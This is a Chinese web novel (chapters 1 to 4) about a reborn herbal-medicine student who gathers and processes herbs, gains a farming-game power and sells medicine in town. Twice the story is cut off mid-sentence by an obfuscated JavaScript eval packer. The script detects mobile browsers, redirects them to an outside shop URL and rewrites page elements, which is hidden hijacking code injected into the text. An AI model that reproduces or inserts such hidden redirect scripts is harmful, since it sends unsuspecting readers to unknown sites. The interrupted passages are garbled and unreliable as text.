《在古代种药材暴富》 1. 山上采药 大庆二十一年,云州府陇川县钟家村,早春。 早饭过后,村里田地里聚集了不少人在打理农田,锄草翻土,为春播做准备。一些不用去田地干活的妇女带着孩子到后山山脚下打猪草挖野菜。 钟映菱背着竹篓走在其中并不显眼,碰上些眼熟的婶娘笑着打声招呼,应了声孩童喊姐姐的招呼,没在山脚下停留,继续往山上走。 身穿青色细棉布短襦,系深绿色布裙,许是还有些清凉套了无袖夹褙,乌黑的秀发由一根细木簪挽起,少女的倩影随着走远逐渐模糊,却还能感受到那挺直的腰背和方才恬淡的笑容,好似所有的苦难都压不倒她一般。 七八岁的孩子带着五六岁的孩子挖野菜,大娘们的动作更加熟练,一镰刀下去割下一把猪草,嘴上也没闲着,聊刚才瞧见的人。 “刚才立远的闺女看起来人还挺精神,完全看不出好几天前饿得就剩一口气的样子。” “我听说啊是她自己饿的,一心求死呢!看来现在是想开了。嗐,别说十几岁的姑娘受不了,换作我们一个月内连着没了爹娘也得哭死。” “以前立远家条件在咱村算数一数二的,你看刚菱娘穿那细棉布夹褙多好看啊,现在就剩她一个人也没个兄弟帮衬,不知道这日子要怎么过……” 几个人说着摇摇头满是叹惋,到底管不了什么,还是多打点猪草挖多点野菜实在。 钟映菱可不知道山脚下的大娘们在聊自己,哪怕知道了也不在意。她刚往山上走小一会,就发现了小片的益母草。 地上一簇簇绿草,层层轮生,叶子形如手掌,可不就是现代早餐店经常卖的益母草汤食材吗? 钟映菱嘴角上扬,解下背篓从里头拿出镰刀,蹲下身割下地表上的这部分,留着根好让下回再慢慢长起来。 镰刀一下下割着,她的心也跟着放松下来,看来自己学的中医药学还是有点用的嘛! 钟映菱本科学的中医药学,随着就业形式越来越严峻,加上这专业本来就难找工作,毕业的师兄师姐留下的血泪经验就是——别选中医药学,毕业等于失业啊。 她那天去面试,过马路时有辆车失控冲向斑马线,只记得被撞飞的瞬间,眼前一黑后再醒来就到了这陌生的朝代来了。 原主是在悲痛欲绝下绝食而死的。 原主家在村里条件很是不错,钟父跟着镖局在外走镖押送货物,赚的钱都带回家里给娘俩花用。 钟母在家做绣活,说是贴补作用不如说是打发时间,原主也跟着学些绣活,最多帮着做些家里的活计,一家三口日子过得有滋有味。 然而一个月前钟父在外走镖,被镖局的兄弟送回来时只剩半条命,伤及五脏肺腑哪怕去府城最好的医馆也治不好,花了不少银钱后还是离世了。 钟母大受打击,因着当年生育原主时落下的病根身子本就虚弱,身子更是一下子垮掉,医治无用后半个月跟着离世。 原主不过是个十四岁的姑娘,双亲骤然离世悲痛欲绝,在二叔家还有族里堂叔伯帮着处理完爹娘丧事后,想到未来日子无望,一时想不开在家绝食而亡。 再次醒来的就是现代的钟映菱了。 钟映菱对自己过个马路天降横祸表示无语,又珍惜自己还能有重活一回的机会,哪怕从衣食住行无比方便高科技环绕的现代换到各方面都很落后,还是历史上没有出现过的朝代。 她在现代就是孤儿,从小在福利院长大,靠着国家政策补贴和好心人资助完成学业,到了这边也无牵无挂。 来都来了,钟映菱只希望原主能和钟父钟母在另一个世界团聚,自己也努力生活下来。 她花了一周的时间调养身子,慢慢恢复正常饮食,顺带整理原主的记忆了解这个村落乃至这个朝代。 因着钟父在外走镖,去的地方多了见识广,回到家里经常会讲给原主听,钟映菱对这个世界的认知也多些。 今年是大庆二十一年,前朝末期民不聊生,各地纷纷起义,最后是当朝皇帝取得胜利建立大庆朝。 钟家村是在前朝末期战乱时逃难过来的,由当时的族长在雾灵山下选了这块宜居地方定居建村。村里人多是同族人,沾亲带故的,有那么两三家外姓人也就是这二十年间过来定居的。 钟映菱搜寻记忆发现,从前朝末期战乱开始药材价钱跟着上涨不少。 这古代药材大半是天然采摘,现有那些被发现能种植的药材,种植炮制方法都掌握在世家手里,垄断在其名下的药庄中。 陇川县这边采药人地位挺高,采摘的药材送到医馆那边也能得到个好的收购价,这门手艺那都是代代相传的。 像寻常百姓哪懂什么药材,碰上也只当野草,采摘了还怕有毒害了自己呢。 有机灵的上山采摘各种花草想着去医馆碰运气,还得被医馆的伙计臭骂一顿,更加绝了那些碰运气的心思。 像钟家村这边就没人识草药,与其乱采一通白忙活,还不如在山脚下多挖点野菜多打点猪草实在。 原主家早先为了给钟父钟母治病几乎花光了所有的积蓄,连田地都贱卖了四亩,钟映菱这阵子想过,还是觉得自己不是种田的料。 这年头种粮食产量低不说,还得交赋税,剩下留下自家吃的再拿出些去卖,每年攒下的银钱非常少。 她想着自己学的中医药学到这还算有点用,大家不识草药,自己上后山这边碰碰运气,说不准能挖到些不错的草药卖了赚钱过渡下。 据钟父先前走镖回来说的消息,当朝皇帝上了年纪,大庆朝周围的国家再次蠢蠢欲动,不断挑衅,西北那边北戎人更是频繁入侵,战争一触即发,东北东南也都不平静,想来药材价钱也跟着上涨的。 这会风吹过山林,枝叶簌簌作响,钟映菱将大半的益母草割完分扎捆起装满整个背篓。 她看着剩下的小半益母草无奈摇摇头,没想到今天刚上来就有收获,竹篓还是带少了。 她干脆站起身,接着往山里走。 哪怕这会背篓装不下了,先踩个点下午再过来采摘也是好的。若是碰上更值钱的药材,也可以拿出益母草腾位置放新药材。 钟映菱慢步走着,手上拿着刚用镰刀砍下来的粗木枝敲打着经过的草丛,免得被蛇偷袭。 一路上惊喜不断,这雾灵山真是座未开采的宝藏啊! 钟映菱发现了一丛金银双色并蒂开的金银花、一处风稍微一吹白色绒球纷飞的蒲公英、俗称一层楼一朵花的重楼,还有叶大如蒲扇、叶柄紫得发红的大黄。 她心情激跃,嘴角疯狂上扬,环顾四周记住一些大树或标志性的石头,下午好上来采摘。 自己这几天都有活干了! 钟映菱背着一竹篓益母草下山,这会山脚下大娘们已经打完猪草撤了,半大孩子们还在那挖野菜。 早春野菜正是见风长的时候,挖些回去煮了吃还能省点粮食。 钟映菱干脆也在山脚下挖了些铺在背篓上,好盖住里头满满的益母草,这才接着往家里去。 钟家房子在村中间,不算大的青砖房混在错错落落的土房子中还算显眼。 当年钟父选在村中间建房,而不是靠近山脚下的村尾和靠近乡道的村头,也是想着自己常年在外走镖,剩妻女在家,周围有二弟一家还有邻里好照应。 隔壁二叔家门敞开着,洗了菜准备做饭的映红瞧见钟映菱忙喊道:“菱娘,你去挖野菜了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这年头不像现代多数人知道喝益母草对妇科有好处,早餐店卖益母草汤受欢迎,市场上卖益母草价钱也不低,医馆怕是不会收购新鲜益母草,做成干制益母草饮片可能会合适些,价钱相对也高点。 好在钟映菱大学时学《中药炮制技术》还算认真,高分通过的这门课,实操也满分,做这干制益母草饮片算是简单的。 把所有益母草捆着倒挂上竹竿风干,确定今天都不会再被日头直晒后,她这才去厨房简单做个午饭吃。 这段时间以养胃为主,钟映菱也不亏待了自己,用家里剩的精米煮了粥,方才挖的马齿苋简单凉拌了吃,因着调料下得多,吃着清爽还有滋有味的。 午后睡醒,她洗了把脸后背上个更大的竹篓,再提上一个稍微小些的竹篓,关上门接着去后山采药。 钟映菱来到上午标记过的地方,各采了半背篓的金银花和大黄,又采了一背篓的重楼,打算先背回家,等去县城医馆问过价钱后再来大采摘。 才起身走几步,就见到寥寥几根随风自然弯垂下的根茎,她瞬间眼前一亮,疾步走了过去。 凑近一看果然那根茎上轮生着七八片叶子,绿如伞面,是黄精! 大收获啊! 钟映菱当即放下手中背篓,抽出放在其中特意带的小木铲开挖。 顺着地面上的根茎挖地下的根茎,露出泥土的根茎肥厚粗大,一头粗一节细的有拳头那么大,形似鸡头。 再用小刀切下一段,露出的断面在穿透山林的日光照耀下呈半透明状,特别有质感。 这黄精起码在八年以上,一个至少有六两! 发了发了! 钟映菱将挖出的黄精小心放一旁,接着挖剩下的黄精。 全部挖完后她才刚松了口气,就听见脑海里熟悉的游戏提示音响起—— [恭喜玩家完成采摘五种药材,并采摘贵重药材黄精一斤以上任务,成功开启《药学天下》。] [承岐黄薪火,传本草真知,期待您的探索之旅!] 2. 探索游戏 《药学天下》? 钟映菱听到脑海中的提示音愣了下,反应过来后又是狂喜,自己也算是拥有金手指了! 她读书时没少看网络小说,那些穿越的主角大多都有个金手指。 钟映菱穿越后回过神来就试着召唤金手指,把曾经看到过各种发现金手指的方法都试了个遍,连针扎手指滴血认她娘留下来的那块玉佩都试过了,就是什么都没有。 本来她都放弃了,靠着自己那中医药学专业的知识应该也能在这个朝代混得不错,谁知道峰回路转啊! 原来自己这金手指是要完成隐藏的药材采摘任务才能顺利开启! 钟映菱笑弯了眉眼,还好自己支棱起来上山采药,还好自己下午看着这大片的药材选择各采一些先带回去,更是幸运地发现了黄精,采摘了起码有两斤,这才顺利开启自己的金手指。 确定周围无人后,她试着用意识控制打开游戏,瞬间能看到熟悉的游戏页面,一切都是自己刚开始玩的状态。 大学时有门《中药学》,要记住的药材多如牛毛,从药名、药材形态到药材特性及简要入药方法,一连串要记背的就是顶尖的记忆天才来了都得苦恼半天。 那会钟映菱背得痛不欲生,抱着试试的心思想着说找个中药相关的游戏来玩下,看能不能实现寓教于乐。 《药学天下》是她在一众游戏中挑选出来百玩不腻且对记忆各种药材知识有帮助的天选游戏。 这游戏有点像以前玩的农场游戏,只不过换成种各种药材。每种植收获一种药材后可以解锁该药材的知识卡,那些枯燥乏味的药材知识就这么丝滑地进了脑子。 而且在药材种植的过程中,也可以看到该药材生长的各种形态,还能显示生长过程中可能遇到各种病虫害问题,有个简要的弹窗介绍。 钟映菱那会就忍不住感叹,制作这游戏的工作人员中医药知识太深厚了。 这游戏玩着也比看书爽多了! 她玩了一学期的游戏,种过各种药材将游戏刷满级,也记背下各种药材知识,高分通过《中医药学》这门课。 这会钟映菱感觉如果想的话,自己的身体也是能够进入游戏的,既然这样那还是回家研究比较安全些。 她收回意识,将挖好放地上的黄精收进手提着的背篓放着,先下山去。 到了山脚下,照旧挖了些野菜铺在两个背篓上,一路走回家。 回到家里,钟映菱先处理采摘回来的药材。 这一个月里为了给爹娘治病,原主没少和医馆大夫打交道。 在原主的记忆角落中,钟映菱知道多数药材至少得经过简单处理才能卖给医馆的,价钱也比新鲜药材高得多。 就像这年头懂药材简单处理的采药人收入要比只懂采摘的采药人高得多,也更受尊重。 若是能懂一两味药材炮制法子,那是能传家的手艺了。 好在钟映菱学《中药炮制技术》这门课学得不错,懂得简单处理这些药材。 半筐大黄先分出来,在水井旁去掉粗皮洗净,趁着新鲜不算坚硬厚切成片,用家里以前晒东西的竹匾装着摊开晾干。 另外半筐金银花采回来的都是饱满青白色花蕾,用另外的竹匾装上薄薄摊开晾着,钟映菱又接着处理起重楼来。 等她处理好重楼装竹匾上晒上后,忍不住舒展下腰肢,这些活虽说比不上耕种农田,但也绝对不算轻松了。 至于那黄精,得经过九蒸九晒才算炮制完成,颇费时间,明天再来处理也不迟。 想到炮制好的黄精能卖出非常好的价钱,钟映菱还是很有动力的。 折腾这么久,日暮晚霞,天边晕出橘黄色调,前后左右的房子也跟着热闹起来,炊烟升起,饭香味飘腾。 村里人忙完地里的活,回到家里就赶着吃晚饭,趁着天黑前吃完收洗好,累了一天早点休息还能省油灯,要干些粗活或聊天就向月亮借光好了。 钟映菱这会不饿,也不用省那点煤油灯,干脆先研究刚得来的金手指游戏。 她走到院子将大门拴上,回到房间又把房门阖上,意念一动瞬间整个人进了游戏。 自成空间的一片小天地里,这会维持着《药学天下》游戏的初始状态,八块方正新鲜的土地里只有一块垒满肥沃的土壤,剩下七块长满格式化的杂草,上方漂浮着“未解锁”三个字。 土地旁边立着块木牌,上书“药田”二字。木牌后面有个青砖绿瓦小屋,门口标识着“加工坊”,也是未解锁状态。 往远望去灰蒙蒙一片,钟映菱知道那是未来将会解锁的炼药房和牧场。 她还在想着当初玩游戏时,用鼠标就能操控购买药材种子、一键播种、一键收获、一键加工、出售药材这些功能,还能查看药材各种知识卡片,目光一搜寻就发现较之先前的PC游戏,这里还多出了个中控台。 钟映菱走过去一看,这中控台相当于是个放大版的电脑页面了。 各个功能键以方块形式分列在中控台屏幕上方,可以手指触屏操作,钟映菱试了下也可以用意念直接远程操作。 在中控台屏幕的右上角,有一个红色圆圈里头显示当前游戏等级为0级,跟随着的红条空心长柱则为经验值显示,随着种植药材成功采摘获得对应经验值,达到对应的经验值就能升级。 这红条空心长柱的显示倒是完全复刻了PC游戏的模式。 长条空心柱旁边显示着目前的经验值:0/100。 下方的金币则是:100。 钟映菱知道这100金币是游戏给的新手礼包,毕竟有了金币才可以去系统商城购买药材种子。 等药材成熟收获后,可以直接售卖给系统商城获取金币,也可以付出一定的金币作为加工费让加工坊帮忙处理新鲜药材再售卖,得到的金币也会比直接售卖高不少。 先前PC游戏中按下一键加工,收获的新鲜药材以动画形式飞跃进加工坊加工完成出来,还会弹出个小窗口分享该药材的炮制处理方法。 钟映菱那会玩游戏时觉着有趣,再次感叹背后的工作人员知识深厚,也耐心看完每回的知识小弹窗,以致她后来学《中药炮制技术》这门课时特别感兴趣,最后同样高分通过。 至于游戏中的牧场、炼药房,现在等级不够还开启不了。 熟悉中控台屏幕上的所有功能后,钟映菱当即打开系统商城种子品类购买种子。 0级能购买的药材种子有且仅有薄荷。 种子的售卖数量以份为单位,一份薄荷种子售价10金币,钟映菱直接购买10份,将新手礼包的100金币挥霍一空。 当即仓库栏显示多了10份薄荷种子。 钟映菱选好薄荷种子,按下一键播种,立即有一份种子播种到唯一开放那块肥沃土地中。 中控台屏幕上多了一栏进度条,显示一号土地种植薄荷,距离收获时间还剩五分钟。 这一瞬间钟映菱冒出不少想法。 游戏空间就是好啊,种植药材可以忽略土壤气候条件不计,极大地缩短时间成本完成药材的种植收获。 现实中三月种薄荷,稍微温暖的地方一年可以收获三茬。 而在游戏里,种一份薄荷收获只需五分钟! 收获的份量也是照着理论上薄荷生长最大的产量来收的! 在今早之前,钟映菱想着是靠山吃山,多去雾灵山上挖掘大自然的馈赠卖药材赚钱。 现在的话,靠山可能山会倒,靠游戏或许更好。 既然自己身体可以进入游戏中,那么种植收获的药材是否可以带到现实中去出售呢? 待会试试看! 钟映菱也不闲着,走到药田这边观察种了薄荷的土地变化。 短短五分钟内,她看着肥沃的土壤有嫩芽冒出,两片子叶中长出一对真叶来,接着茎叶快速生长茂盛,顶端开出穗状的花蕾来,薄荷香四溢开。 其中还弹窗两回知识卡片,提示薄荷生长过程中可能会遇上黄锈病、烂根病、花叶病、斑点枯,还有各种病害对应的解决方法。 她回忆了下发现,这游戏还挺智能贴心的,连这些知识卡片的病害介绍及解决方法都由现代词汇改成这个朝代认知下的描述。 钟映菱也不回中控台屏幕操作了,直接操控意念收获成熟的薄荷。 仓库里瞬间囤上新鲜薄荷,足有五百斤。 同时她也收到提示,经验值+2。 也就是说要升到1级得种植50回的薄荷才行。 钟映菱先用意念又种植一份薄荷,再回到中控台这边将仓库里的薄荷卖出,499斤薄荷卖了49个金币。 正想关闭系统商城,她突然发现除了药材种子购买区、药材售卖区,还多了个生活百货区。 点开后钟映菱高兴坏了! 这生活百货区可不就是个现代简易版购物软件嘛! 可购商品很少,目前只有三样,但每样都特别刚需。 比如说她穿越过来最常叹惋的莫过于每月经期时要用麻烦的月事带,无比想念现代的卫生巾。 现在就可 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再长远些看,自己凭白“采摘”到这么多量的药材,经不住有心人的细查,还是得想办法把能采摘这么多药材的地基夯实好才行。 思绪蔓延,想到的点子不少,钟映菱回过神来好笑摇摇头,这事得慢慢权衡才行,当下还是先吃饭吧。 她走出房间,见夜幕昏黑月亮高挂,游戏里流逝的时间和现实时间应该是1:1的,只不过土地时间流速飞快。 未免露水滴落,当下先把院子里晾晒的药材搬到堂屋放着,那些悬挂在竹竿上的益母草也连竿一起端进来借着椅子立好。 其实西边杂货屋也能放,但放堂屋这边晚上如果有风的话,还能再风干下。 钟映菱去灶房简单蒸了个玉米窝窝头,拿了小块肉切片炒下午随手挖回来的蕨菜。 这蕨菜焯水后炒肉片,多了猪肉的油星荤香,就着玉米窝窝头吃着还怪香的。 钟映菱坐在堂屋桌子前美美吃完,刚把碗筷盘子端到水井旁木盆里放水泡着,就听到敲门声。 “谁啊?”她扬声问,边走过去。 “菱娘,是我。”二婶的声音。 钟映菱拉开门栓敞开门:“二婶,快进来坐。” 二婶刘氏走进来:“吃饭没啊?家里菜地新冒茬的韭菜,还有早先种的蒜苗,正是好吃的时候,我摘了些过来给你。” “谢谢二婶。” 钟映菱没客气,笑着接过,边照顾二婶进屋坐。 钟家两兄弟哪怕分家了关系也很不错,要不然当初也不会把房子建在一起,钟父外出走镖时钟二叔一家也会帮着照看这边。 钟母和妯娌刘氏关系也是好的,小辈之间更是玩得来。 她刚穿越过来那会多亏了二婶和钟映红时不时过来照看,这会处起来多有亲近感。 晚上炒的那块猪肉,还是二婶特意去县城割回来给她补身子的。 刘氏走到堂屋见竹竿上挂着绿草,地上摆着的一个个圆竹匾装着各种形状的杂草,不解问:“菱娘,你弄这些做什么?” 她心想菱娘难道饿坏了脑子,竟连能吃的野菜和没用的杂草都分不清了? 再说挖了野菜回来哪有这么精贵照料的,今天吃不完随便放院子里明早再洗了吃就是了,放在堂屋跟照料精贵的东西似的。 钟映菱方才思索过未来对待药材的事,两家又相邻着经常走动,倒也没想着瞒。 她随口说道:“我这几天收拾爹娘留下的东西想着归置好,翻到以前爹从外头带回来的书,上头有讲药草的,我看了些后去后山还真找到几样,打算晒干了背去医馆看看能不能换点钱。” 刘氏不识字,但也知道能写在书里的大抵有些用,虽说采摘药材卖这事只有采药人能干成,说不准真让菱娘找到一两样了呢? 她恍然点点头,真心高兴:“原来是这样,你识字能看书,要真能找到一两样药草卖出去,以后有个固定进项那真是祖宗保佑了。” 刘氏关心几句后说起正事,“菱娘,我今天过来也是想和你说件事。” “我和你二叔的意思是,家里的田地还有六亩,你一个人种铁定忙不过来。要不还是老样子交给我们来种,秋收后交完赋税送五成粮食过来给你。” “你要是想种的话就拿个一亩半亩来试试,我和你二叔带着你来种,也不用怕哪里出差错。” 刘氏叹道:“菱娘,现在你爹娘不在了,你还是得辛苦些,学些种地的把式在,咱手里有粮才不会饿肚子!” 3. 县城卖药 田地是农家人的根和底气,有钱的时候买地,落魄的时候也能卖地缓解困境。 但一般如果不是遭遇生死大事过不下去了,少有农家人会卖地的。 钟父哪怕在外面走镖,赚了银钱回来后留够吃用,也还是在钟家村或附近买了地。 他把田地交给钟二叔家种,约定好每年秋收后交了赋税分五成粮食给自家,这些年一直如此。 如今爹娘走了,钟映菱一个人没有进项,家里唯一的出息就是在这剩下的六亩田地上。 若是钟二叔夫妇是个贪心的,怕是得起了吞占田地的心思。 村里也不是没有好事者背地在那说,钟立远家就剩个闺女,迟早嫁出去,也不知道这手头的田地和房子守不守得住。 与其落入外姓人手里,还不如让钟立山把那土地房子给接手了,以后要是钟立远那闺女嫁人后日子过得不好,还能贴补一二。 钟二叔和刘氏自然知道村里的流言,也怕菱娘年纪轻信了这些话,才特意过来说一趟。 钟映菱自然有想过这些事,钟父钟母临走前都交代过原主要把房契地契收好,要是二叔一家真靠不住,就找族长主持公道。 哪怕没有采摘药材的出路,她也不可能一个人耕种六亩地,更何况现在还有后山的药材和游戏里种植药材两条出路可以走。 钟映菱顺势爽快应下:“好啊,多谢二叔二婶为我考虑,就按你们说的来办吧。” 留一亩半亩地的事也激发了她的想法,“二婶,你看下留靠近洛河的那亩地给我吧,回头我再看下种些什么。” 洛河是蜿蜒过钟家村的一条河,在干旱的年头也没有干枯过,灌溉田地的水、日常吃用的水都从那来。 当然像自家有水井的就轻松不少,不用费力去洛河那边挑水回家用。 刘氏听了高兴,自家帮着种五亩地除去赋税后能得五成的粮食,菱娘自己试着种地也能逐渐上手。 “行啊,靠近洛河的田地你到时候浇水也不用担水走太远。那你好好想下是种水稻、粟还是豆类,等真正春播的时候再到地里干活就好了。” 钟映菱暂时没说自己想种药材的事,点头应好:“行,我这阵子好好想下。” 刘氏起身:“没什么事我就先回去了,今年红娘都在家,你有什么事喊她帮忙就好了。” “好的,多谢二婶。”钟映菱送二婶出门。 刘氏转个弯就回了自家,大郎夫妇和三郎四郎都在各自房里待着,红娘该是洗完碗回房做针线活了,就她那屋亮着油灯。 自家那口子就坐在院子里交杌上借着月光编竹筐呢。 孩他爹特别勤快,白天是种地的老把式,晚上吃过饭后就在院子里编竹筐竹箩,攒着回头拿去集市卖也能贴补家用。 刘氏无数次庆幸自己当初挑人眼光好,媒婆上门说亲时一眼就相中了孩他爹。 她走过去低声说道:“当家的,我和菱娘说好了。” 话落刘氏率先回东屋去。 钟二叔了然,放下手头编了一半的竹篮,起身去拴好大门,跟着回了东屋。 他是个沉默的农家汉,这会难得朝坐在床头的婆娘心急问:“菱娘咋说?” “菱娘那么懂事,我把这事掰开说清楚她自然是同意的。咱这商量的也是实在事啊,回头在靠近洛河那边留亩地给菱娘种就好了。” 钟二叔顿时松了口气:“把这事说清楚了就好,免得菱娘想左了去。等春播开始,咱再带着她播种,帮着她多干点活。” 大哥不在了,他这个当叔的得多照顾着些。 刘氏轻哼一声:“这还用你说,那是当然。” 她脱了鞋上床,扯过薄被盖上躺下,随口说道,“我过去时见那边堂屋里放着不少竹匾,装着各种杂草,菱娘说那是照着书上说的去后山摘的草药在晒干,回头想拿去医馆卖。” 钟二叔跟着躺下:“嗐,大郎这一辈也就菱娘跟着大哥识了不少字,这书上说的应该错不了,希望真能让菱娘折腾出点门道来。” 他们男人还能靠把力气在地里劳作,有地的情况下勤快些总归是饿不死的。 菱娘种地估计也辛苦,虽说有房子有地,到底是有些赚钱的活计才好些的。 想到这钟二叔交代:“菱娘也十四了,虽说守孝期间不好说亲,难免有人冲着房子和地起祸心来做些肮脏事。大哥大嫂不在了,就剩咱这当叔婶的,你多看着些。” 刘氏:“这还用你说。” 春播前得翻土锄草排垄,白天地里干活累了,这会正事说完房里瞬间安静下来。 就在刘氏昏昏欲睡时,突然听到孩他爹说:“咱家有四间房子绝对够住的,等红娘出嫁后让四郎搬过去她那房间住,三郎四郎到时候成亲一人就有一间房住了。大哥留下的房子只能是菱娘的,咱不动那心思。” 刘氏顿时一阵清明,睁眼侧身怒道:“你当我什么人啊,我又不是那没良心的!” “我们俩挣下家里这四间房子对得起大郎他们,以后孩子多了住不下,大郎他们有手有脚自会去挣。谁敢把心思打到菱娘身上,我先打断他们的腿!” 说完刘氏伸手在他大腿上掐住一把肉狠狠拧了下。 钟二叔痛抽几声后忙安抚:“行行行我知道了,我就是提醒下,免得村里那些婆娘念叨这事念多了,把你给听糊涂去。” 他有点懊恼自己多嘴这一句,都半辈子夫妻了,马上当爷奶的年纪,该信得过才对。 可不说嘛,又怕孩他娘真想左了去,如今被掐了把大腿肉,可算是安心了。 向来沉默的钟二叔低声哄了几句自家婆娘,夫妇俩才双双睡去。 钟映菱这边洗漱好后又进游戏空间收获几茬薄荷。 就说这游戏会上瘾,五分钟就能收获一回,这谁能走得开啊。 她连着种了二十来回后才歇了这把冲级的心,收拾下睡觉。 第二天醒来后,意念一动又接着在游戏空间里种薄荷。 她算是发现了,如果不是复杂操作的话,完全可以用意念沉入到游戏空间里播种、收获。 也就是说旁人看来一个发呆的功夫,她已经偷偷播种收获一回。 钟映菱也没忘了正经事,先把放堂屋里的药材搬到院子里来风干,益母草连着竹竿则挪到上午太阳晒不到的地方去,等下午日头方向调转再挪一回。 忙完吃过早饭,她再次背着背篓上后山去采药。 这回重点采金银花和益母草,等采完了再采大黄和重楼。 最近天气好,金银花杀青后只需一两天就能阴干,益母草阴干后做成益母草饮片再干燥前后四天就能成。 她也好趁着两天后村里人去县城的日子一起坐牛车去医馆卖药,顺带询问下各种药材价钱和自己想知道的事。 大黄阴干起码要半个月,重楼更是要一个月以上才行,暂时急不来。 家里挖到的那两斤黄精要经过九蒸九晒才能出手,就更加不急了。 忙碌的日子悄然而过,四天后大早,钟映菱收拾好阴干的金银花和干制益母草饮片,装了两个大背篓和两个小背篓,再分别在背篓上盖块破旧的粗布遮掩着。 “菱娘,你可以了吗?” “来了!”钟映菱走去开门。 她这几天从后山采了不少金银花和益母草,哪怕鲜草晒干重量少了挺多,这会阴干能拿去卖的也有不少。 钟映菱有信心医馆会收自己处理好的药材,想着一次性把能卖的鲜卖了,昨天就问过钟映红是否要去县城赶集,得到肯定答案后请她帮忙一起背背篓去。 “就背这些是吧?” 钟映红见放在院子里的背篓,把手头上的包裹先放一旁,背上个大背篓后,再提上个小背篓挂在身前,包裹则放到小背篓上。 钟映菱和她一样背好背篓,锁上门后朝村口走去。 “大姐,今天辛苦你了。” 钟映红不在意摇头:“小事,反正就走这几步路,待会坐牛车到县城轻松得很,你不要说这话。” 钟映菱点头应好:“大姐你今天就去交绣活吗?” 记忆中钟映红的绣活是跟钟母这位大伯娘学的,不过可能这行也需要些天赋,她的水平只能做些简单的手帕荷包,但勤奋些多少也能贴补家用了。 钟映红:“我去交了绣品后,得再去买斗米割斤肉回家。我娘说家里最近要准备春播了,得吃好点才不会累垮身子。” 她家条件在村里不说有多好,也绝对不差的,每月总能吃上两三回肉,碰上春播秋收比较累人的时候还能多吃几回肉和米饭。 这年头说起肉和米饭就没人不馋的。 钟映菱穿越过来后养身子没少吃仅剩的米肉,确定有生计后手头就更松了。 她说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218320|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我待会也得买米买肉,咱俩一起吧。” 钟映红:“好啊,那咱到了县城先去医馆看下收不收这些草药,完了再去交绣活,接着去买米买肉。” 钟映菱应好,两人很快走到村口,她率先从袖袋里掏出四枚铜板递给干牛车的人:“大力叔,谢谢。” “哎,快上车吧。”钟大力笑着接过,见两人背的东西多,划拉板车上宽敞一块给她们,“坐那吧。” 钟映红想拦着她给铜板都来不及,大力叔给了个好位置她只好跟着菱娘先上车,背篓沾到板车顿时浑身松快不少。 她笑着和坐在板车上的婶娘打声招呼,扯了下菱娘的衣袖低声道:“钱我待会还你。” 钟映菱摇头:“不用,大姐你帮我这么大的忙,我付坐牛车的钱是应该的。” 钟映红:“顺手的事哪还用得着计较,这两个铜板必须我自己出。” 钟映菱俏皮笑了下:“大姐你就别和我争了,待会我那些东西准备换钱,就当我请你坐车了。” 她说这话时声音压得极低,不好让板车上别的人听到。 对上菱娘清澈瞳仁里的坚决,钟映红心里叹了口气:“行吧,那我就不客气了。” 她想着到县城把绣品交了换钱,买个肉包子给菱娘吃。 想到蓬松的白面包子裹着酱汁浓郁的肉馅,钟映红忍不住咽了下口水,待会必须吃! 见时辰到了,板车上也坐了大半的人,钟大力坐在前头挥鞭赶牛进县城。 他这把年纪了,赶起牛车来精神得很,路过些坑洼的土路速度把控得也好,不至于过分颠簸。 村里就那么几家有牛的,前些年他费钱弄了个板车,早晚还能拉人来回县城,能赚不少铜板来着,日子过得也好。 当然村里更多人舍不得花费这两个铜板坐一趟牛车,钟家村到县城也就半个时辰的路程,腿着去也行,累人但不费钱啊。 钟映菱头回坐牛车,只觉得屁股和腰老受罪了。 牛车上大娘们各种唠嗑,家长里短的说不停。 村里人大多互相认识,往上扯远点说不定都是亲戚,边界感也没那么强。 钟映菱本来还担心这些婶娘问她们背篓里背的什么,碰上奇葩些的直接上手掀开盖着的粗布也不是不可能。 结果一路顺利,这些婶娘见她没怎么笑也不怎么说话,想着她可能还沉浸在爹娘去世的伤痛中,问了她几句关心的话后就聊别的去了。 坐牛车速度比腿着去起码快两炷香的时间,进了城门后大山叔交代:“还是老规矩,要坐车回去的午时前到这等着。” 大家纷纷下马车,多数人挎着攒了许久的鸡蛋篮子去集市卖,钟映菱和钟映红背上背篓往城西走去。 钟映红问:“菱娘,我们去哪家医馆啊?” 县城有三家医馆,都在城西。 原主以前没少来县城,哪怕没刻意关注,还是知道个大概的。钟映菱说道:“我们去百草堂问问吧。” 她低声解释,“西河堂名声不好,听说经常压采药人的药材价;寿仁堂背靠富户王家,有专门的供货渠道。百草堂素来平和待人名声也好,咱卖出去药材的机会大些。” 钟父受伤回来后,最初也是在百草堂李大夫那医治,这位大夫是个有本事的,打过交道人也不错。 后来在百草堂这边医治不好,也是李大夫推荐去找府城的大夫看能不能治,还写了医案方便府城大夫了解病情。 钟映红自然是听菱娘的,见她说得头头是道,心里对这趟也是期待起来,说不定真能卖出去呢? 到了百草堂,里头有两位大夫坐诊看病,门口有好几个人排队等着。 钟映菱直接找在一旁抓药的药童:“小哥,你们这里收金银花和干制益母草饮片不?” 药童闻声抬头:“我们医馆有固定药材渠道,也对外收药,不过得处理得好才行。益母草你确定做成干制益母草饮片了?” “对,小哥你看下。”钟映菱掀开身前背着的小背篓上的粗布,露出里头的干制益母草饮片。 药童一看就知道这益母草处理得不错,想来那金银花也不会差到哪里去。他露出笑容来:“两位姑娘里边请,我请大夫来看下。” 钟映菱跟着他走进堂屋后头的晒药院。 钟映红紧跟其后,嘴角笑容已然咧开。不愧是菱娘,这事还真成了! 4. 赚钱了 百草堂的晒药院四方宽敞,各处放着不少药材,日光借着露天庭院倾洒进来晒着。 这里头主要还是药童在分类归放药材,少部分贵重药材在精加工晾晒。 